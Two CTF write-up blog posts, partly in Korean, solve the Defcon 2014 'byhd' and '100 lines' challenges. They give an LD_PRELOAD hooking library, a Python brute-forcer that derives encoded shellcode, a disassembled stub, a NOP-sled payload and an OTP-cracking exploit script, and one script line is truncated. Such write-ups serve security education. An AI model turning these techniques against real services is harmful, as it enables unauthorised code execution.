I think It is not a good solution. I did just brute-force to find encoded shellcode.

It was first time to brute-force the remote binary, So I just want to share my experience.


The method is that I hooked server side. So, server side send the encoded value to client.

Then, client check if the encoded value is same with our shell code or not.


I repeated this method. 


following code is server hooking code.


정확한 풀이는 아니고, 부르트포싱으로 풀었다.

리모트를 부르트포싱 해본건 처음이어서, 그 과정을 적어볼까 한다.


방법은 서버를 Hooking해서, 인코딩된 결과를 클라이언트로 전송해줬다.

그래서 한바이트씩 넣어보다가, 쉘코드와 일치하는 부분이 있을 경우 기억해두는 방식으로 했다.


아래는 서버 후킹 코드.


http://pastebin.com/Vs0jJa3z

  1. // gcc -shared -ldl hook.c -o hook.so -fPIC -ldl
  2.  
  3. #define _GNU_SOURCE
  4. #include <stdio.h>
  5. #include<sys/types.h>
  6. #include <dlfcn.h>
  7.  
  8. void * memcpy ( void * destination, const void * source, size_t num ) {
  9.         static void (*memcpy_real)(void*, const void*, size_t) = NULL;
  10.         int i=0;
  11.  
  12.         if (__builtin_return_address(0) == 0x401c9e)
  13.         {
  14.                 //FILE *fp = fopen("scode", "w");
  15.                 fprintf(stdout, "Memcpy: ");
  16.  
  17.                 int length = num*2;
  18.  
  19.                 send(4, &length, 4, 0);
  20.  
  21.                 for (i=0; i<num; i++)
  22.                 {
  23.                         fprintf(stdout, "%02x ", *(char *)(source + i) & 0xFF);
  24.                         char buf[2];
  25.                         sprintf(buf, "%02x", *(char *)(source + i) & 0xFF);
  26.                         send(4, &buf, 2, 0);
  27.                 }
  28.                 //for (i=0; i<num; i++)
  29.                 //      fprintf(fp, "%c", *(char *)(source + i) & 0xFF);
  30.  
  31.                 //fclose(fp);
  32.  
  33.                 fprintf(stdout, "\n\n");
  34.                 //system("ndisasm scode");
  35.                 fprintf(stdout, "-------------------------------\n\n");
  36.         }
  37.  
  38.         if (!memcpy_real)
  39.                 memcpy_real = dlsym(RTLD_NEXT, "memcpy");
  40.  
  41.         memcpy_real(destination, source, num);
  42. }


컴파일을 한 후, 


# LD_PRELOAD=./hook.so ./byhd


와 같은 방식으로 서버를 연다.


그리고, 아래의 코드로 부르트포싱을 돌렸다.

http://pastebin.com/4dQaXibd

  1. from socket import *
  2. from struct import *
  3. import sys
  4. import time
  5.  
  6. def recvuntil(s, length):
  7.         result = ""
  8.         while True:
  9.                 result += s.recv(1)
  10.                 if len(result) >= length:
  11.                         break
  12.  
  13.         return result
  14.  
  15. #s.connect(('byhd_147e0accdae13428910e909704b21b11.2014.shallweplayaga.me', 9730))
  16.  
  17. shellcode = "48 8b 4d c8 48 83 c1 30 48 81 e2 ff 00 00 00 5b 48 83 eb 15 ff d3"
  18. shellcode = shellcode.replace(" ","").decode('hex')
  19.  
  20. answer = ""
  21.  
  22.  
  23. ii = len(answer)
  24. fail = False
  25. while ii < 250:
  26.         found = False
  27.         if fail != True:
  28.                 i=0xff
  29.         fail = False
  30.         while i>=0:
  31.                 s = socket(AF_INET, SOCK_STREAM)
  32.                 s.connect(('192.168.0.41', 9730))
  33.  
  34.                 #print hex(i)
  35.  
  36.                 s.send(pack('<L', len(answer)+1))
  37.                 s.send(answer+chr(i))
  38.  
  39.                 length = unpack('<L',s.recv(4))[0]
  40.                 data = recvuntil(s,length)
  41.                 print data
  42.                 data = data.decode('hex')
  43.  
  44.                 if len(data) > len(answer) and data[len(answer):] == shellcode[len(answer):len(data)]:
  45.                         answer += chr(i)
  46.                         print "[+] Found:",answer.encode('hex')
  47.                         ii+=1
  48.                         s.close()
  49.                         found = True
  50.                         break
  51.  
  52.                 if data[:len(shellcode)] == shellcode:
  53.                         print answer.encode('hex')
  54.                         sys.exit()
  55.  
  56.                 s.close()
  57.                 time.sleep(0.01)
  58.                 i-=1
  59.         if found == False:
  60.                 print "[-] Fail"
  61.                 if len(answer) <= 1:
  62.                         break
  63.                 else:
  64.                         last = answer[-1]
  65.                         i = ord(last) - 1
  66.                         answer = answer[:-1]
  67.                         ii-=1
  68.                         fail = True



사용한 쉘코드는 아래와 같다. (팀원이 생각한 코드)



  $ ndisasm asdf3 -b64

  00000000  488B4DC8              mov rcx,[rbp-0x38]

  00000004  4883C130               add rcx,byte +0x30

  00000008  4881E2FF000000      and rdx,0xff

  0000000F  5B                        pop rbx

  00000010  4883EB15              sub rbx,byte +0x15

  00000014  FFD3                    call rbx



최대한 짧게 하여, 우리가 입력했던 버퍼의 뒤쪽부붙을 다시 memcpy로 복사해서 콜 하도록 하였다.


그래서 최종적인 페이로드는 위에서 찾은 ( [인코딩된 문자] + "\x90"*50 + [쉘코드] ) 를 보내면 된다.



'Computer Security > CTF' 카테고리의 다른 글

[Defcon 2014] HJ(2) byhd write up  (0) 2014.05.19
[Defcon 2014] 100 lines exploit  (0) 2014.05.19
[RuCTF 2014 quals] Reversing 500  (0) 2014.03.11
[Codegate 2014 quals] Web 500 write up  (0) 2014.02.24
[secuinside 2013] debugd exploit  (2) 2013.11.28
[Secuinside 2013] angry danbi exploit  (3) 2013.11.27
posted by tunz

직접 알고리즘 분석해서, 파이썬으로 옮긴후 최적화를 한거라서 딱히 설명할것은 없고, 그냥 익스플로잇만.



http://pastebin.com/MGKqAZhK


  1. from socket import *
  2. import time
  3.  
  4. randpad ="FC8A4551678CA9C0B0FDF76FB850F12F7A6266E3D3C36EBE373933683BC6761EAEAA83ED571AF129E6C1B99EDDA2862C1ADC499D8201D53AB5D333121CCE942BC3B06CBC4673395E7BC7B49E56F0AD725E83C705C5E92E85887994F7E7AC34FE5CCE2E13F1CC8EEA6083BEDC4ABBE8DF6520EF44ADFAD61283D5DC94AD1FE15FE8FA7E3FDA61E3DFAB5B4F2A6C2482AD1789BA29B946347464F745228DAF33D652B5DE10E4535D96B7E22ECBB175BC745A21298C57B3165EC7C8C22635482D3C607B5DDDA8296119D0EFEE6D04DD2051951D01E1DADAB4A546D9CBAF56B52005D06BD222212F2DD373975689AEAC02B635D21487C649DF0E178564E5AF6E9361".decode('hex')
  5.  
  6. """
  7. def loop(table, size):
  8.        idx1=0
  9.        loop_count = size - 0x20
  10.        while idx1 < loop_count:
  11.                idx2=0
  12.                calculated = 0
  13.                while idx2 <= 3:
  14.                        calculated = calculated | calc(table, idx1, idx2)
  15.                        idx2 += 1
  16.                idx3 = 0
  17.                while idx3 < loop_count:
  18.                        idx4 = 0
  19.                        calculated2 = 0
  20.                        while idx4 <= 3:
  21.                                calculated2 = calculated2 | calc(table, idx3, idx4)
  22.                                idx4 += 1
  23.                        calculated2 = calculated ^ calculated2
  24.                        idx5 = 0
  25.                        while idx5 <= 3:
  26.                                offset = (idx3 + loop_count * idx1)*4 + idx5
  27.                                ecx = (((-idx5) & 0xFFFFFFFF) << 3) + 0x18
  28.                                eax = calculated2 >> (ecx & 0xFF)
  29.                                result[offset] = eax & 0xFF
  30.                                idx5 += 1
  31. """
  32.  
  33. def calc(table, idx1, idx2):
  34.         offset = (idx1 >> 3) + idx2
  35.         edx = ((ord(table[offset]) << (idx1 & 7)) | (ord(table[offset + 1]) >> (8 - (idx1 & 7)))) & 0xFF
  36.         ecx = (((-idx2) & 0xFF) << 3) + 0x18
  37.         edx = edx << (ecx & 0xFF)
  38.         return edx
  39.  
  40. def optimized_loop(table, size, offset):
  41.         loop_count = size - 0x20
  42.         idx5 = offset & 3
  43.         offset -= idx5
  44.         offset = offset / 4
  45.         idx3 = offset % loop_count
  46.         idx1 = offset / loop_count
  47.  
  48.         calculated = 0
  49.         idx2 = 0
  50.         while idx2 <= 3:
  51.                 calculated = calculated | calc(table, idx1, idx2)
  52.                 idx2 += 1
  53.  
  54.         calculated2 = 0
  55.         idx4 = 0
  56.         while idx4 <= 3:
  57.                 calculated2 = calculated2 | calc(table, idx3, idx4)
  58.                 idx4 += 1
  59.         calculated2 = calculated ^ calculated2
  60.         ecx = (((-idx5) & 0xFFFFFFFF) << 3) + 0x18
  61.         eax = calculated2 >> (ecx & 0xFF)
  62.         return eax & 0xFF
  63.  
  64. def calc2(idx1, idx2):
  65.         global randpad
  66.         offset = (idx1 >> 3) + idx2
  67.         edx = ((optimized_loop(randpad, 0x7e0, offset) << (idx1 & 7)) | (optimized_loop(randpad, 0x7e0, offset + 1) >> (8 - idx1 &7))) & 0xFF
  68.         ecx = ((-idx2) << 3) + 0x18
  69.         edx = edx << (ecx & 0xFF)
  70.         return edx
  71.  
  72.  
  73. def findAnswer(offset):
  74.         loop_count = 0xf81000 - 0x20
  75.         idx5 = offset & 3
  76.         offset -= idx5
  77.         offset = offset / 4
  78.         idx3 = offset % loop_count
  79.         idx1 = offset / loop_count
  80.  
  81.         calculated = 0
  82.         idx2 = 0
  83.         while idx2 <= 3:
  84.                 calculated = calculated | calc2(idx1, idx2)
  85.                 idx2 += 1
  86.  
  87.         calculated2 = 0
  88.         idx4 = 0
  89.         while idx4 <= 3:
  90.                 calculated2 = calculated2 | calc2(idx3, idx4)
  91.                 idx4 += 1
  92.         calculated2 = calculated ^ calculated2
  93.         ecx = (((-idx5) & 0xFFFFFFFF) << 3) + 0x18
  94.         eax = calculated2 >> (ecx & 0xFF)
  95.         return eax & 0xFF
  96. = socket(AF_INET , SOCK_STREAM)
  97. s.connect(('100lines_53ac15fc7aa93da92629d37a669e106c.2014.shallweplayaga.me', 20689))
  98.  
  99. time.sleep(0.5)
  100. data = s.recv(65000)
  101. data += s.recv(65000)
  102.  
  103. data =  data.split(None)[2:]
  104. print data
  105. OTP = [int(x[2:],16) for x in data]
  106.  
  107. for i in range(0, 8):
  108.         #s.send(findAnswer(int(data[i][2:],16)))
  109.         #number = int(data[i][2:],16)
  110.         #print hex(number)
  111.         number = OTP[i]
  112.         answer = findAnswer(number)
  113.         edx = answer
  114.         eax = edx*3
  115.         eax = eax << 5
  116.         eax += edx
  117.         eax = (eax & 0xFFFF0000) + ((eax & 0xFFFF) >> 8)
  118.         ecx = edx
  119.         ecx -= eax
  120.         ecx = (ecx & 0xFFFFFF00) + ((ecx & 0xFF) >> 1)
  121.         eax += ecx
  122.         eax = (eax & 0xFFFFFF00) + ((eax & 0xFF) >> 6)
  123.         ecx = 0x5D
  124.         eax = eax * ecx
  125.         edx -= eax
  126.         eax = edx
  127.         eax = (eax & 0xFF) + 0x20
  128.         print hex(eax)
  129.         s.send(chr(eax))
  130.  
  131. time.sleep(3)
  132.  
  133. data = ""
  134. data += s.recv(1024)
  135. data += s.recv(1024)
  136. data += s.recv(1024)
  137. data += s.recv(1024)
  138. data += s.recv(1024)
  139. data += s.recv(1024)
  140. data += s.recv(1024)
  141. data += s.recv(1024)
  142. data += s.recv(1024)
  143.  
  144.  
  145. data = data.strip()
  146.  
  147. flags = data.split(",")
  148.  
  149. if len(flags) > 1:
  150.         flags = [int(x[2:],16) for x in flags]
  151.         answer = ""
  152.         i=0
  153.         while i<len(flags):
  154.                 answer += chr( findAnswer( OTP[i] ) ^ flags[i] )
  155.                 i+=1
  156.  
  157. print answer
  158.  
  159. s.close()


'Computer Security > CTF' 카테고리의 다른 글

[Defcon 2014] HJ(2) byhd write up  (0) 2014.05.19
[Defcon 2014] 100 lines exploit  (0) 2014.05.19
[RuCTF 2014 quals] Reversing 500  (0) 2014.03.11
[Codegate 2014 quals] Web 500 write up  (0) 2014.02.24
[secuinside 2013] debugd exploit  (2) 2013.11.28
[Secuinside 2013] angry danbi exploit  (3) 2013.11.27
posted by tunz